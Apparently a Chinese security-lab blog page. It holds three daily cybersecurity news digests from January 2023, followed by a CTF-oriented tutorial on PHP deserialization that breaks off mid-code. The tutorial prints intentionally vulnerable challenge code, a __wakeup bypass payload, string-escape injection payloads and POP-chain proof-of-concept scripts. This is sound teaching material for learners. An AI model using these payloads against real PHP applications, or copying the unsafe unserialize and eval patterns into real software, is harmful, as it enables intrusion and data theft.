1、乌克兰国家新闻机构遭Sandworm黑客组织攻击 https://www.govinfosecurity.com/ukraine-links-media-center-attack-to-russian-intelligence-a-21043 乌克兰追踪到一起导致新闻发布会推迟的网络攻击是俄罗斯Sandworm黑客组织所为。调查人员表示,该黑客组织与俄罗斯格勒乌关系密切。根据调查人员的说法,此次攻击使用了与俄罗斯黑客有关的五种恶意软件,分别是CaddyWiper、ZeroWipe、SDelete、AwfulShred和BidSwipe。在上周由乌克兰国家特殊通信和信息保护局负责人Yurii Shchyhol举行的新闻发布会上,乌克兰国家新 2、UNC2565组织继续改进GOOTLOADER恶意软件 https://securityaffairs.com/141539/malware/gootloader-malware-evolution.html Mandiant研究人员报告称,GOOTLOADER恶意软件(又名Gootkit)背后的UNC2565组织通过添加新组件和实施新的混淆技术继续改进他们的代码。Gootkit运行在“访问即服务”模型上,不同的组织使用它在受感染的系统上部署额外的恶意载荷。众所周知,Gootkit使用无文件技术来传递恶意软件,如SunCrypt、REvil勒索软件、Kronos木马和Cobalt Strike。在过去,Gootkit传播伪装成免费软件安装程序的恶 3、新研究揭示了Golden Chickens恶意软件背后的攻击者 https://gbhackers.com/infamous-golden-chickens-malware-as-a-service/ 网络安全专家已经揭示了Golden Chickens恶意软件即服务背后的个人身份。攻击者在网上被称为“badbullzvenom”,在现实世界中已经被确认。eSentire威胁响应部门进行了为期16个月的广泛调查,发现badbullzvenom帐户与多个人相关联,正如该部门最近发表的报告中所述。为了联系与Golden Chickens恶意软件即服务相关的不同论坛帐户,TRU团队通过开源情报对各种安全报告进行了全面分析。他们发现了2015年趋势科技的一份报告 4、大量被黑的WordPress网站将访问者重定向到恶意网站 https://cyware.com/news/new-wave-of-database-injection-attacks-compromise-wordpress-sites-86652900 一场大规模的活动正在利用被黑客攻击的WordPress网站,将受害者重定向到技术支持骗局、成人约会、网络钓鱼或路过式下载攻击。它背后的黑客已经通过多次重定向和合法下载来确保他们的恶意有效载荷很难被发现。据Sucuri的研究人员称,与恶意域名violetlovelines[.]com有关的WordPress网站感染激增。该活动自2022年12月26日以来一直很活跃,数据显示,到目前为止,有超过560 5、微软敦促各组织为本地Exchange服务器打补丁 https://www.theregister.com/2023/01/28/microsoft_patch_exchange_servers/ 由于网络犯罪分子仍在寻找电子邮件系统中的有价值数据,微软敦促各组织通过更新和强化来保护他们的Exchange服务器免受网络攻击。根据供应商Exchange团队的介绍,企业需要确保在Exchange服务器上安装最新的累积更新(CUs)和安全更新(SUs),偶尔也需要在Exchange管理工具工作站上安装,如启用扩展保护和PowerShell序列化有效载荷的证书签名。 6、英国零售商 JD Sports 披露了影响 1000 万客户的数据泄露事件 https://www.securityweek.com/british-retailer-jd-sports-discloses-data-breach-affecting-10-million-customers/ 英国运动时尚零售公司 JD Sports 周一透露,它发现了影响大约 1000 万客户的数据泄露事件。 据该公司称,该网络事件影响了在 2018 年 11 月至 2020 年 10 月期间在线下订单的客户提供的信息。JD、Size、Millets、Blacks、Scotts 和 MilletSport 品牌受到影响。根据该公司对事件的简要描述,黑客可能窃取了客户的姓名、账单地 7、打印机制造商Lexmark警告称超过120种打印机型号存在漏洞 https://www.securityweek.com/critical-vulnerability-impacts-over-120-lexmark-printers/ 打印机和成像产品制造商Lexmark发布了一份安全警告,警告用户超过120种打印机型号存在严重漏洞。该漏洞被跟踪为CVE-2023-23560 (CVSS评分9.0),被描述为Lexmark设备Web服务功能中的服务器端请求伪造(SSRF)漏洞,可以被利用来执行任意代码。Lexmark在一份报告(PDF)中警告称:“成功利用此漏洞可以导致攻击者能够在设备上远程执行任意代码。”制造商列出了大约125种受安全漏洞影响的设备型 8、研究人员在医疗保健软件OpenEMR中发现了三个漏洞 https://www.infosecurity-magazine.com/news/vulnerabilities-healthcare 研究人员在OpenEMR中发现了三个独立的漏洞,OpenEMR是一种用于电子健康记录和医疗实践管理的开源软件。Sonar的清洁代码专家布了一份关于安全研究员Dennis Brinkrolf发现的漏洞的建议。Brinkrolf写道:“这些漏洞的组合允许远程攻击者对任何OpenEMR服务器上执行系统命令并窃取敏感的患者数据。在最坏的情况下,会危及整个关键基础设施。”这位安全专家解释说,其公司的静态应用程序安全测试引擎发现这三个漏洞中的两个结合起来可能导致未经 9、Meta 为2FA 绕过漏洞支付了27,000 美元赏金 https://www.securityweek.com/meta-awards-27000-bounty-for-2fa-bypass-vulnerability 一位研究人员披露了双因素身份验证 (2FA) 漏洞的详细信息,该漏洞使他从 Facebook 母公司 Meta 获得了 27,000 美元的漏洞赏金。 10、Realtek Jungle SDK漏洞被用于超过 1.34 亿次尝试破解物联网设备 https://thehackernews.com/2023/01/realtek-vulnerability-under-attack-134.html 研究人员警告说,自 2022 年 8 月开始,利用 Realtek Jungle SDK 中的一个关键远程代码执行漏洞进行攻击的攻击企图激增。据 Palo Alto Networks Unit 42 称,截至 2022 年 12 月,正在进行的活动据称已记录了 1.34 亿次攻击尝试,其中 97% 的攻击发生在过去四个月。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月30日
1、研究人员发现了一种基于Python的新型恶意软件 https://www.hackread.com/pyration-python-malware-windows/ 威胁分析公司Securonix的网络安全研究人员发现了一种名为PY#RATION的新恶意软件,攻击者可以从受影响的设备上窃取敏感文件并记录击键情况。该恶意软件通过传统的网络钓鱼机制传播,其中电子邮件包含一个受密码保护的ZIP存档。当它被解压缩时,会出现两个快捷图像文件,名称分别为front.jpg.lnk和back.jpg.lnk。当启动时,这些文件会显示不存在的驾照的正面和背面,这样恶意代码也会被执行,导致从互联网上下载两个新文件,这些文件的标题分别是front.txt和ba 2、新的Mimic勒索软件滥用Everything文件搜索工具 https://www.bleepingcomputer.com/news/security/new-mimic-ransomware-abuses-everything-windows-search-tool/ 安全研究人员发现了一种新的勒索软件,他们将其命名为Mimic,它利用Windows的“Everything”文件搜索工具的API来查找加密文件。研究人员于2022年6月发现了这种恶意软件,似乎主要针对英语和俄语的用户。Mimic中的一些代码与Conti勒索软件有相似之处,Conti勒索软件的来源于2022年3月由一名乌克兰研究人员泄露。Mimic勒索软件攻击开始于受害者收到一个可执 3、Trellix为6.2万个与Python漏洞相关联的开源项目打补丁 https://www.scmagazine.com/analysis/application-security/trellix-automates-patching-for-62000-open-source-projects-linked-to-a-15-year-old-python-bug Trellix研究团队表示,他们已经修补了近6.2万个开源项目,这些项目容易受到Python编程生态系统中存在15年的路径遍历漏洞的影响。去年年底,该团队在Python的tarfile模块中发现了CVE-2007-4559漏洞。它在2007年首次被报告给Python项目,但没有进行检查。从那时起, 4、黑客被指控窃取了几乎所有奥地利人的个人数据 https://securityaffairs.com/141439/cyber-crime/hacker-stole-personal-data-austrians.html 2022年11月底,阿姆斯特丹警方逮捕了一名来自阿尔米尔的25岁男子,他涉嫌窃取或交易了全球数千万人的个人数据。奥地利联邦刑事调查局于2020年5月发现该男子在一个网络犯罪论坛上提供了一个数据集,对该男子的活动展开了调查。这名男子提供了一个包含数百万个地址和个人数据的数据集,该数据集保存着该国广播接收设备(电视、收音机等)的档案。奥地利联邦刑事调查局购买了该数据集,并调查了资金流动和用于宣传被盗数据的论坛。奥地利警方 5、BlackCat勒索软件团伙窃取了一家炸药制造商的秘密数据 https://securityaffairs.com/141409/data-breach/blackcat-ransomware-solar-industries-india.html BlackCat勒索软件团伙将印度太阳能工业公司添加到其Tor泄露网站上公布的受害者名单中。该公司是全球公认的工业炸药制造商,提供完整的爆破解决方案,包括包装、散装炸药和起爆系统,以满足全球客户的需求。BlackCat勒索软件组织声称已经攻破了该公司的基础设施,并窃取了2TB的数据,包括与武器生产有关的秘密军事数据。数据泄露影响到公司的所有产品和机密文件。这些数据包括工程规格、图纸、许多武器的审计等。 6、Meta修补了Facebook中的一个双因素身份验证绕过漏洞 https://portswigger.net/daily-swig/facebook-two-factor-authentication-bypass-issue-patched Meta修补了Facebook中的一个漏洞,该漏洞可能允许攻击者绕过基于短信的双因素身份验证(2FA)。该漏洞利用了Instagram的限速问题,使攻击者能够暴力破解确认某人电话号码所需的验证码。Meta让用户可以选择将自己的电子邮件和电话号码添加到Instagram和Facebook的链接账户上,并通过电子邮件或短信发送的六位数字代码进行验证。然而,任何随机的六位数字都可以输入,并使用web代理(如Burp S 7、Yandex否认黑客入侵并将源代码泄露归咎于前员工 https://gbhackers.com/yandex-data-leak/ 俄罗斯最大的IT公司Yandex(俗称俄罗斯谷歌)的源代码被泄露。在一个著名的黑客网站上,据称被俄罗斯科技巨头Yandex的一名前雇员窃取的Yandex源代码库被以种子文件的形式泄露。近日,泄密者分享了一个含有44.7 GB文件的磁体链接,据称来自“Yandex git sources”,是在2022年7月从该公司获取的。据说这些代码存储库包含公司的所有源代码。此外,Yandex强调该公司并未被入侵,因为泄露的文件仅包含来自内部存储库的代码片段,但内容与Yandex服务中使用的存储库的当前版本不同。 8、黑客利用SwiftSlicer数据擦除恶意软件破坏Windows域 https://www.bleepingcomputer.com/news/security/hackers-use-new-swiftslicer-wiper-to-destroy-windows-domains/ 安全研究人员发现了一种新的数据擦除恶意软件SwiftSlicer,旨在覆盖Windows操作系统使用的重要文件。这种新的恶意软件是在最近一次针对乌克兰目标的网络攻击中发现的,被认为是Sandworm黑客组织所为,这是一个为俄罗斯总参谋部主要情报局(GRU)工作的黑客组织。研究人员表示,Sandworm使用活动目录组策略启动了SwiftSlicer,它允许域管理员在Windows 9、FBI成功接管了Hive勒索软件团伙的基础设施 https://gbhackers.com/fbi-hacks-back-hive-ransomware/ 在FBI于2022年7月渗透Hive勒索软件团伙的基础设施之后,FBI成功接管了Hive勒索软件团伙在Tor网络上用于支付和数据泄露的站点。2022年7月,由美国司法部和欧洲刑警组织领导的国际执法行动秘密渗透了Hive勒索软件团伙的基础设施。在宣布之前,该行动已经被监视了6个月。通过这次行动,执法机构能够洞察计划中的攻击,并向潜在目标发出警告,同时他们还获得并向受害者提供了解密密钥。这阻止了大约1.3亿美元或相当于1.2亿欧元的赎金支付。在2022年7月Hive的网络被渗透后,FBI已 10、ISC发布补丁修复DNS软件套件BIND中的多个漏洞 https://securityaffairs.com/141465/security/isc-fixed-bind-flaws.html BIND是一套用于与互联网系统联盟(ISC)维护的域名系统(DNS)交互的软件。ISC发布了安全补丁,以解决DNS软件套件BIND中的多个高严重程度的拒绝服务漏洞。攻击者可以利用该漏洞远程导致BIND守护进程崩溃或占用可用内存。其中一个漏洞是CVE-2022-3094 (CVSS评分7.5),该漏洞是因为发送大量动态DNS更新可能会导致“named”守护进程分配大量内存,然后“named”可能会由于缺乏可用内存而退出。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月29日
1、攻击者正在分发一种名为Gigabud的安卓恶意软件 https://cyware.com/news/malicious-apps-masquerade-as-government-agencies-to-distribute-gigabud-rat-c65f2bb4 攻击者正在分发一种名为Gigabud的新的安卓恶意软件,冒充来自泰国、秘鲁和菲律宾的政府机构、金融机构和其他组织。研究人员透露,一旦用户安装了恶意应用程序,它就会显示一个看似合法的登录屏幕,提示用户输入手机号码和密码。Gigabud利用服务器端验证过程来确保注册时输入的手机号码是合法的。在登录屏幕上,恶意软件向受害者发送虚假贷款合同,并通知他们确认信息。该恶意软件直到最后阶段才会 2、巴基斯坦当局正在调查全国停电是否由网络攻击引起 https://therecord.media/pakistani-authorities-investigating-if-cyberattack-caused-nationwide-blackout/ 巴基斯坦当局正在调查导致数百万人断电的全国停电是否是由网络攻击引起的。该国能源部长在新闻发布会上告诉记者,这起事件“极有可能”是由黑客造成的。对能源网络的网络攻击很少见,尽管自2014年以来,在俄罗斯对乌克兰发动攻击的背景下,有几起针对乌克兰的攻击。能源部长告诉记者,巴基斯坦各地的电力已在24小时内完全恢复,总理Shehbaz Sharif成立了一个委员会来调查导致停电的原因。 3、VMware修复了vRealize日志分析工具中的漏洞 https://www.bleepingcomputer.com/news/security/vmware-fixes-critical-security-bugs-in-vrealize-log-analysis-tool/ VMware周二发布了安全补丁,以解决vRealize Log Insight漏洞,这些漏洞可能使攻击者在未打补丁的设备上远程执行命令。vRealize Log Insight是一个日志分析和管理工具,可以帮助分析VMware环境中的基础设施和应用程序日志。修补的第一个严重漏洞被追踪为CVE-2022-31703,被描述为一个目录遍历漏洞,攻击者可以利用该漏洞将文件注 4、富士通的研究表明量子计算机尚未对加密构成威胁 https://www.theregister.com/2023/01/24/fujitsu_quantum_encryption/ 富士通公司进行的研究表明,没有必要对量子计算机能够解码加密数据感到恐慌,这在将来也不太可能发生。富士通表示,它使用其39量子比特量子模拟器硬件进行了试验,以评估量子计算机使用Shor算法破解RSA密码加密数据的难度。研究人员估计,要破解RSA,需要一台具有大约10000个量子比特和2.23万亿量子门的容错量子计算机,而量子产业要达到这一成就还有很长的路要走。富士通表示,其研究人员还估计,这样一台容错量子计算机需要在这个问题上工作大约104天,才能成功破解RSA 5、CISA详细介绍了K-12教育系统面临的网络安全风险 https://www.securityweek.com/cisa-provides-resources-for-securing-k-12-education-system/ 美国网络安全和基础设施安全局(CISA)本周发布了一份报告,详细介绍了K-12教育系统面临的网络安全风险,以及如何确保网络安全的建议。在过去的四年里,已经发生了数千起涉及K-12机构的网络事件,攻击者以学校计算机系统为目标,部署勒索软件,使系统无法使用,并窃取学生和员工的敏感信息,包括财务和医疗信息,以及员工的社会安全号码。与K-12教育社区相关者团体的讨论表明,他们中的大多数人没有时间或资源来保护信息系统和敏感的学 6、GoTo称黑客在去年11月的网络攻击中窃取了客户的备份 https://therecord.media/goto-says-hackers-stole-encrypted-backups-during-november-cyberattack/ 价值数十亿美元的软件即服务提供商GoTo表示,黑客在去年11月的一次网络攻击中窃取了客户拥有的备份的加密密钥。GoTo首席执行官斯里尼瓦桑在一份声明中表示,11月的网络攻击涉及第三方云存储服务泄露的数据,这些数据与他们的几个产品有关。斯里尼瓦桑说:“受影响的信息因产品而异,可能包括账户用户名、散列密码、部分多因素认证(MFA)设置,以及一些产品设置和许可信息。”斯里尼瓦桑解释说,该公司目前正在直接联系受影 7、攻击者使用合法的RMM软件对美国联邦机构进行攻击 https://thehackernews.com/2023/01/us-federal-agencies-fall-victim-to.html 美国至少有两家联邦机构成为“大规模网络攻击”的受害者,攻击者使用合法的远程监控和管理(RMM)软件来实施网鲇闫帧C拦绨踩直硎荆骸熬咛謇此担绶缸锓肿臃⑺土说鲇愕缱佑始贾孪略睾戏ǖ腞MM软件,如ScreenConnect和AnyDesk,这些软件被用于退款骗局,从受害者的银行账户中窃取资金。”这些攻击发生在2022年6月中旬和9月中旬,具有财务动机,尽管威胁行为者可以将未经授权的访问权限武器化,用于开展广泛的活动,包括将该访问权限出售 8、密码保险库供应商Bitwarden回应加密设计缺陷的批评 https://portswigger.net/daily-swig/bitwarden-responds-to-encryption-design-flaw-criticism 密码库供应商Bitwarden通过增强机制的默认安全配置,回应了对其用于保护用户秘密加密密钥的加密方案的新一轮批评。问题集中在用于计算用户密码库的解密密钥的PBKDF2哈希迭代次数上。在这种情况下,OAWSP建议使用PBKDF2算法和随机盐、SHA-256和600000次迭代(这个数字比以前推荐的31000次增加了)。Bitwarden表示,其数据经过200001次迭代保护,客户端为100001次迭代,服务器端为1 9、谷歌通知用户Chrome浏览器中的6个漏洞已被修复 https://www.securityweek.com/security-update-for-chrome-109-patches-6-vulnerabilities/ 谷歌通知用户,Chrome浏览器中的6个安全漏洞已被修复,其中包括外部研究人员报告的4个。其中两个是影响WebTransport和WebRTC组件的高度严重的释放后使用漏洞。这些漏洞被跟踪为CVE-2023-0471和CVE-2023-0472。影响Chrome的释放后使用漏洞通常可以被用于远程代码执行和沙箱逃逸,但在许多情况下,它们需要与其他漏洞联系在一起。最新的Chrome更新还修复了一个中等严重程度的类型混淆漏洞, 10、研究人员针对Windows CryptoAPI漏洞发布了PoC https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-windows-cryptoapi-spoofing-bug/ 研究人员已经发布了一个概念验证利用代码(PoC),用于允许MD5碰撞证书欺骗的Windows CryptoAPI漏洞。这一漏洞被追踪为CVE-2022-34689,在2022年8月发布的安全更新中得到了解决,但微软直到10月才公开了这一漏洞,当时该警告首次发布。微软解释说:“攻击者可以操纵现有的公共x.509证书来欺骗他们的身份,并作为目标证书执行身份验证或代码签名等操作。”未 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? PHP序列化:serialize() 序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 而PHP反序列化:unserialize() 反序列化是将字符串转换成变量或对象的过程 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化 说这么多不如直接一点测试一下 php序列化的字母标识 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string N - NULL 测试一下 <?php   class TEST{   public $test1="11";   private $test2="22";   protected $test3="33";   public function test4()   {   echo $this->test1;   }   }   $a=new TEST();   echo serialize($a);   //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";} O代表类,然后后面4代表类名长度,接着双引号内是类名 然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推} protected 和private其实是有不可打印字符的,所以这里附上截图 从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写 有时候做题时为了防止传参中有啥意外,一般就会urlencode一下 什么是魔术方法? 做php反序列化的题总会遇到魔术方法 其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作 举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数 <?php   class A{   public $a="这里是__construct";   public function __construct()   {   echo $this->a;   }   public function __destruct()   {   echo $this->a="这里是__destruct";   }   }   $a=new A();   //输出这里是construct这里是destruct 后边的题中也会给一些测试魔术方法的例子 想买给出魔术方法触发的情况,这对解题有很大帮助 __construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 对不存在的方法或者不可访问的方法进行调用就自动调用 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。 简单的反序列化题 题目来自[SWPUCTF 2021 新生赛]ez_unserialize <?php   error_reporting(0);   show_source("cl45s.php");   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="user";   $this->passwd = "123456";   }   public function __destruct(){   if($this->admin === "admin" && $this->passwd === "ctf"){   include("flag.php");   echo $flag;   }else{   echo $this->admin;   echo $this->passwd;   echo "Just a bit more!";   }   }   }   $p = $_GET['p'];   unserialize($p);   ?> 在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag php反序列化是可以控制类方法的属性但不能改类方法的代码 于是我们直接更改就行, <?php   class wllm{   public $admin;   public $passwd;   public function __construct(){   $this->admin ="admin";   $this->passwd = "ctf";   }   }   $a=new wllm();   echo urlencode(serialize($a));   ?> 然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。 __wakeup绕过 这个其实是个CVE,CVE-2016-7124 影响版本php5<5.6.25,php7<7.010 简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 而魔术方法__wakeup执行unserialize()时,先会调用这个函数 写个代码本地测试一下 <?php   class A{   public $a;   public function __construct()   {   $this->a="触发__construct";   }   public function __wakeup()   {   $this->a="触发__wakeup";   }   public function __destruct()   {   echo $this->a;   }   }   $a=new A();   echo serialize($a); O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下 反序列化一下,输出触发__wakeup O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2 触发__construct,绕过了wakeup [极客大挑战 2019]PHP __wakeup()绕过 <?php   include 'class.php';   $select = $_GET['select'];   $res=unserialize(@$select); <?php   include 'flag.php';   error_reporting(0);   class Name{   private $username = 'nonono';   private $password = 'yesyes';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   function __wakeup(){   $this->username = 'guest';   }   function __destruct(){   if ($this->password != 100) {   echo "</br>NO!!!hacker!!!</br>";   echo "You name is: ";   echo $this->username;echo "</br>";   echo "You password is: ";   echo $this->password;echo "</br>";   die();   }   if ($this->username === 'admin') {   global $flag;   echo $flag;   }else{   echo "</br>hello my friend~~</br>sorry i can't give you the flag!";   die();   }   }   } 看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest; 这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看 //$a=new Name('admin','100');   //echo urlencode(serialize($a));   //echo serialize($a);   $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";   var_dump(unserialize(urldecode($b))); 那么修改对象个数为大于2 O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 得到flag POC <?php     class Name{   private $username = 'admin';   private $password = '100';   public function __construct($username,$password){   $this->username = $username;   $this->password = $password;   }   }   $a=new Name('admin','100');   echo urlencode(serialize($a));   //echo serialize($a);   //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D   ?> 反序列化逃逸问题 逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞 所以会有两种情况,一种是由长变短,一种是由短变长 由长变短 自己随手写个题测试下 <?php   highlight_file(__FILE__);   class A   {   public $a;   public $b;   public $c;   public function __construct()   {   $this->a=$_GET['a'];   $this->b="noflag";   $this->c=$_GET['c'];   }   public function check()   {   if ($this->b==="123")   {   echo "flag{123dddd}";   }   else if ($this->a==="test")   {   echo "give you flag";   }   else   {   echo "no flag";   }   }   public function __destruct()   {   $this->check();   }   }   $a=new A();   $b=serialize($a);   $c=str_replace("aa","b",$b);   unserialize($c); 这里本地写一个测试简单利用下,学会这个逃逸思路即可 $b=serialize($a);   echo $b;   $c=str_replace("aa","b",$b);   echo($c);   //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}   //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} 这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag, $this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉 开始构造 然后计算要吞噬掉多少位 print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))   print(36*'aa')   //35   //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa a=36个aa,c=;s:1:"b";s:3:"123 这样构造出来为 O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";} bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17: print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:')) 刚好为72个,成功反序列化,得到flag 由短变长 题目来自ctfshowWEB262 index.php <?php   error_reporting(0);   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   $f = $_GET['f'];   $m = $_GET['m'];   $t = $_GET['t'];   if(isset($f) && isset($m) && isset($t)){   $msg = new message($f,$m,$t);   $umsg = str_replace('fuck', 'loveU', serialize($msg));   setcookie('msg',base64_encode($umsg));   echo 'Your message has been sent';   }   highlight_file(FILE); 从题目注释里可以找到message.php message.php源码 <?php   highlight_file(__FILE__);   include('flag.php');   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   if(isset($_COOKIE['msg'])){   $msg = unserialize(base64_decode($_COOKIE['msg']));   if($msg->token=='admin'){   echo $flag;   }   } 很明显,要想得到flag要把token值更改为admin 但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下 <?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;} 可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了 因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位 那么需要27个fuck就行 payload ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路 POP链构造 做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下 [SWPUCTF 2021 新生赛]pop 题目源码 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } POP链入手,先找关键代码,然后推断 需要admin为w44m,passwd为08067 才能得到flag if($this->admin === 'w44m' && $this->passwd ==='08067'){ echo $flag; 发现可以利用$this->w00m->{$this->w22m}(); 这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了 在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法 前面魔术方法提到 __toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m, 链子构造为 w22m::__destruct->w33m::toString->w44m::getflag poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w0 [NISACTF 2022]babyserialize <?php   include "waf.php";   class NISA{   public $fun="show_me_flag";   public $txw4ever;   public function __wakeup()   {   if($this->fun=="show_me_flag"){   hint();   }   }   function __call($from,$val){   $this->fun=$val[0];   }   public function __toString()   {   echo $this->fun;   return " ";   }   public function __invoke()   {   checkcheck($this->txw4ever);   @eval($this->txw4ever);   }   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class Ilovetxw{   public $huang;   public $su;   public function __call($fun1,$arg){   $this->huang->fun=$arg[0];   }   public function __toString(){   $bb = $this->su;   return $bb();   }   }   class four{   public 